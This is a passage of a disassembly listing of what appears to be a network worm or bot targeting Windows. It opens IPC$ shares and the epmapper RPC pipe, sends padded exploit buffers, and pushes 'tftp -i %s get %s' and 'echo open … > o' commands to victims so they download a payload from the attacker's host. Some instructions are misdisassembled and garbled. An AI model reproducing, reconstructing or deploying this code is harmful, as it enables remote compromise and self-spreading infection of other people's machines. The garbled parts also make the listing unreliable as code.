		lea	eax, [ebp+var_5DA4]
		push	offset dword_424ED0
		push	eax
		call	sub_4155D0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B0]
		push	0
		push	10FCh
		push	eax
		push	[ebp+arg_BC]
		call	esi ; dword_4211EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi ; dword_4211E8
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68D8]
		jmp	short loc_402D9B
; ---------------------------------------------------------------------------


loc_402D43:				; CODE XREF: sub_402988+306j
		push	7Ch
		lea	eax, [ebp+var_2CA4]
		push	offset dword_424CDC
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_F10]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C28]
		push	eax
		call	sub_4155D0
		push	90h
		lea	eax, [ebp+var_2458]
		push	offset off_424D5C
		push	eax
		call	sub_4155D0
		add	esp, 24h
		and	[ebp+var_1FAD],	0
		lea	eax, [ebp+var_2CA4]
		push	0
		push	0CF8h


loc_402D9B:				; CODE XREF: sub_402988+3B9j
		push	eax
		push	[ebp+arg_BC]
		call	esi ; dword_4211EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C10
		push	12Ch
		call	ds:dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40283D
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_402DD8:				; CODE XREF: sub_402988+28Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DDD	proc near		; CODE XREF: seg000:00403E5Cp

var_858		= byte ptr -858h
var_814		= byte ptr -814h
var_218		= byte ptr -218h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		mov	[ebp+var_8], edi
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_18], 2
		push	eax
		call	ds:dword_4211D8	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_14], eax
		call	ds:dword_4211DC	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_16], ax
		call	ds:dword_4211E0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_4], esi
		jz	loc_402EDA
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4211E4	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EDA
		mov	ebx, ds:dword_4211EC
		push	edi
		push	89h
		push	offset dword_424950
		push	esi
		call	ebx ; dword_4211EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	esi
		mov	esi, ds:dword_4211E8
		call	esi ; dword_4211E8
		push	0
		push	0A8h
		push	offset dword_4249DC
		push	[ebp+var_4]
		call	ebx ; dword_4211EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	[ebp+var_4]
		call	esi ; dword_4211E8
		push	0
		push	0DEh
		push	offset dword_424A88
		push	[ebp+var_4]
		call	ebx ; dword_4211EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		mov	ebx, [ebp+var_4]
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	ebx
		call	esi ; dword_4211E8
		movsx	eax, [ebp+var_814]
		sub	eax, 30h
		jz	short loc_402EE5
		dec	eax
		jz	short loc_402EE1


loc_402EDA:				; CODE XREF: sub_402DDD+57j
					; sub_402DDD+6Dj ...
		xor	eax, eax
		jmp	loc_402F7F
; ---------------------------------------------------------------------------


loc_402EE1:				; CODE XREF: sub_402DDD+FBj
		push	0
		jmp	short loc_402F09
; ---------------------------------------------------------------------------


loc_402EE5:				; CODE XREF: sub_402DDD+F8j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402988
		add	esp, 0C4h
		test	al, al
		jnz	short loc_402F29
		push	1


loc_402F09:				; CODE XREF: sub_402DDD+106j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402988
		add	esp, 0C4h
		test	al, al
		jz	short loc_402F30


loc_402F29:				; CODE XREF: sub_402DDD+128j
		mov	[ebp+var_8], 1


loc_402F30:				; CODE XREF: sub_402DDD+14Aj
		push	ebx
		call	ds:dword_4211F0	; closesocket
		cmp	[ebp+var_8], 0
		jz	short loc_402F7C
		push	0
		lea	eax, [ebp+var_218]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4E
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	ds:dword_427328[eax]
		lea	eax, dword_427328[eax]


loc_402F7C:				; CODE XREF: sub_402DDD+15Ej
		push	1
		pop	eax


loc_402F7F:				; CODE XREF: sub_402DDD+FFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DDD	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		mov	dword ptr [esp+16Ch], 87h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4033CB
		push	2Fh
		lea	esi, [esp+0D0h]
		pop	ecx
		mov	dword ptr [esp+16Ch], 1BDh
		mov	edi, esp
		mov	ebx, eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		test	ebx, ebx
		jnz	short loc_402FD6
		test	eax, eax
		jz	short loc_402FD9


loc_402FD6:				; CODE XREF: seg000:00402FD0j
		push	1
		pop	eax


loc_402FD9:				; CODE XREF: seg000:00402FD4j
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FDD	proc near		; CODE XREF: sub_4033CB+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aIpc ; "\\IPC$"
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_4255F4 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, ds:byte_438FAC
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	ds:dword_421064	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_438FA8
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	ds:dword_43A428
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_4030A1
		cmp	eax, ebx
		jnz	short loc_4030AB


loc_4030A1:				; CODE XREF: sub_402FDD+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	ds:dword_43A428


loc_4030AB:				; CODE XREF: sub_402FDD+C2j
		cmp	eax, 5
		jz	short loc_4030B9
		cmp	eax, ebx
		jz	short loc_4030B9
		push	1
		pop	eax
		jmp	short loc_4030BB
; ---------------------------------------------------------------------------


loc_4030B9:				; CODE XREF: sub_402FDD+D1j
					; sub_402FDD+D5j
		xor	eax, eax


loc_4030BB:				; CODE XREF: sub_402FDD+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402FDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030C0	proc near		; CODE XREF: sub_4033CB+7Ap
					; sub_4033CB+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset aIpc ; "\\IPC$"
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_4255F4 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, ds:byte_438FAC
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	ds:dword_421064	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D9F
		add	esp, 10h


loc_403151:				; CODE XREF: sub_4030C0+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	ds:dword_43A2C8
		test	eax, eax
		jz	short loc_403171
		push	7D0h
		call	ds:dword_421060	; Sleep
		jmp	short loc_403151
; ---------------------------------------------------------------------------


loc_403171:				; CODE XREF: sub_4030C0+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4030C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403178	proc near		; CODE XREF: sub_4033CB+A9p
					; sub_4033CB+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_415D70
		push	esi
		push	edi
		push	offset aCilevb_com ; "Cilevb.com"
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_414E06
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_4033C7
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_4155D0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415570
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_4155D0
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_4031FD:				; CODE XREF: sub_403178+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40324D
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_4155D0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415570
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_4155D0
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_4031FD
; ---------------------------------------------------------------------------


loc_40324D:				; CODE XREF: sub_403178+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_403268
		cmp	[ebp+arg_C0], 3
		jz	short loc_403271
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40326F
; ---------------------------------------------------------------------------


loc_403268:				; CODE XREF: sub_403178+DCj
		cmp	[ebp+arg_C0], 3


loc_40326F:				; CODE XREF: sub_403178+EEj
		jnz	short loc_40327A


loc_403271:				; CODE XREF: sub_403178+E5j
		push	4
		push	offset dword_4255F0
		jmp	short loc_403281
; ---------------------------------------------------------------------------


loc_40327A:				; CODE XREF: sub_403178:loc_40326Fj
		push	4
		push	offset dword_4255EC


loc_403281:				; CODE XREF: sub_403178+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_425124
		push	eax
		call	sub_4155D0
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_425488
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_4155D0
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_42549C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4155D0
		add	edi, 3Ch
		push	30h
		push	offset dword_4254DC
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4155D0
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_415DC9
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_415570
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_4155D0
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_4033C7:				; CODE XREF: sub_403178+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_403178	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033CB	proc near		; CODE XREF: seg000:00402FA3p
					; sub_40778B+1E6p
					; DATA XREF: ...

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh
arg_5053EC3D	= byte ptr  5053EC45h

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_415D70
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_403539
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402FDD
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403649
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	ds:dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_403450


loc_403441:				; CODE XREF: sub_4033CB+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4030C0
		pop	ecx
		jmp	loc_403649
; ---------------------------------------------------------------------------


loc_403450:				; CODE XREF: sub_4033CB+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_412B9A
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403178
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_4034E8
		mov	edi, 186A0h
		push	edi
		call	sub_415DC9
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_415570
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_4250D8
		push	[ebp+var_4]
		call	near ptr 0A80000h
		mov	word ptr [eax+750C027Eh], es
		sbb	[ebp+arg_5053EC3D], cl
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	near ptr 0A80000h
		push	1E75C085h
		push	esi
		call	sub_415E3D
		push	[ebp+var_8]
		call	sub_415E3D
		pop	ecx
		pop	ecx


loc_4034E8:				; CODE XREF: sub_4033CB+B9j
		push	[ebp+var_4]
		call	ds:dword_42106C	; CloseHandle
		jmp	loc_403441
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		call	ds:dword_421068	; ReadFile
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_415E3D
		push	esi
		call	sub_415E3D
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_42106C	; CloseHandle
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4030C0
		cmp	edi, 1
		pop	ecx
		jnz	loc_40365A
		jmp	loc_403649
; ---------------------------------------------------------------------------


loc_403539:				; CODE XREF: sub_4033CB+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_412B9A
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403649
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	ds:dword_43A408
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403649
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	ds:dword_43A388
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_43A3C8
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403178
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_4035CB
		push	[ebp+var_4]
		jmp	short loc_403643
; ---------------------------------------------------------------------------


loc_4035CB:				; CODE XREF: sub_4033CB+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	ds:dword_43A330
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4035E3


loc_4035E0:				; CODE XREF: sub_4033CB+22Aj
		push	esi
		jmp	short loc_40363C
; ---------------------------------------------------------------------------


loc_4035E3:				; CODE XREF: sub_4033CB+213j
		push	ebx
		push	48h
		push	offset dword_4250D8
		push	edi
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4035E0
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A3A0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403624
		push	[ebp+var_8]
		jmp	short loc_40363C
; ---------------------------------------------------------------------------


loc_403624:				; CODE XREF: sub_4033CB+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A3A0
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40364D


loc_40363C:				; CODE XREF: sub_4033CB+216j
					; sub_4033CB+257j
		call	sub_415E3D
		pop	ecx
		push	edi


loc_403643:				; CODE XREF: sub_4033CB+1FEj
		call	ds:dword_43A420


loc_403649:				; CODE XREF: sub_4033CB+31j
					; sub_4033CB+80j ...
		xor	eax, eax
		jmp	short loc_4036CA
; ---------------------------------------------------------------------------


loc_40364D:				; CODE XREF: sub_4033CB+26Fj
		call	sub_415E3D
		pop	ecx
		push	edi
		call	ds:dword_43A420


loc_40365A:				; CODE XREF: sub_4033CB+163j
		xor	esi, esi


loc_40365C:				; CODE XREF: sub_4033CB+2B1j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40B24D
		test	eax, eax
		pop	ecx
		jnz	short loc_403680
		push	1388h
		call	ds:dword_421060	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_40365C
		jmp	short loc_4036C7
; ---------------------------------------------------------------------------


loc_403680:				; CODE XREF: sub_4033CB+2A0j
		cmp	[ebp+arg_B4], ebx
		jnz	short loc_4036A5
		push	ebx
		lea	eax, [ebp+var_338]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4E
		add	esp, 14h


loc_4036A5:				; CODE XREF: sub_4033CB+2BBj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	ds:dword_427328[eax]
		lea	eax, dword_427328[eax]


loc_4036C7:				; CODE XREF: sub_4033CB+2B3j
		push	1
		pop	eax


loc_4036CA:				; CODE XREF: sub_4033CB+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4033CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4036CF	proc near		; DATA XREF: seg002:00423004o
		jmp	$+5
sub_4036CF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4036D4	proc near
		push	0BB80h
		push	76Ch
		call	sub_41409A
		pop	ecx
		mov	ds:dword_438FB0, eax
		pop	ecx
		retn
sub_4036D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036EB	proc near		; CODE XREF: sub_40384C+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_43A3C8
		mov	[ebp+var_C], eax
		mov	ax, word ptr ds:dword_438FB0
		push	eax
		call	ds:dword_43A388
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_43A408
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403825
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A330
		cmp	eax, 0FFFFFFFFh
		jz	loc_403825
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43A3A0
		mov	esi, offset aCilevb_com	; "Cilevb.com"
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		push	esi
		push	esi
		push	ds:dword_438FCC
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403825
		push	1F4h
		call	ds:dword_421060	; Sleep
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403829


loc_403825:				; CODE XREF: sub_4036EB+51j
					; sub_4036EB+67j ...
		xor	al, al
		jmp	short loc_403847
; ---------------------------------------------------------------------------


loc_403829:				; CODE XREF: sub_4036EB+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43A3A0
		push	ebx
		call	ds:dword_43A420
		mov	al, 1


loc_403847:				; CODE XREF: sub_4036EB+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40384C	proc near		; CODE XREF: sub_403C8B+125p
					; sub_403C8B+147p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_415D70
		mov	eax, ds:dword_4250D0
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, ds:dword_4250D4
		mov	[ebp+var_C], eax
		push	esi
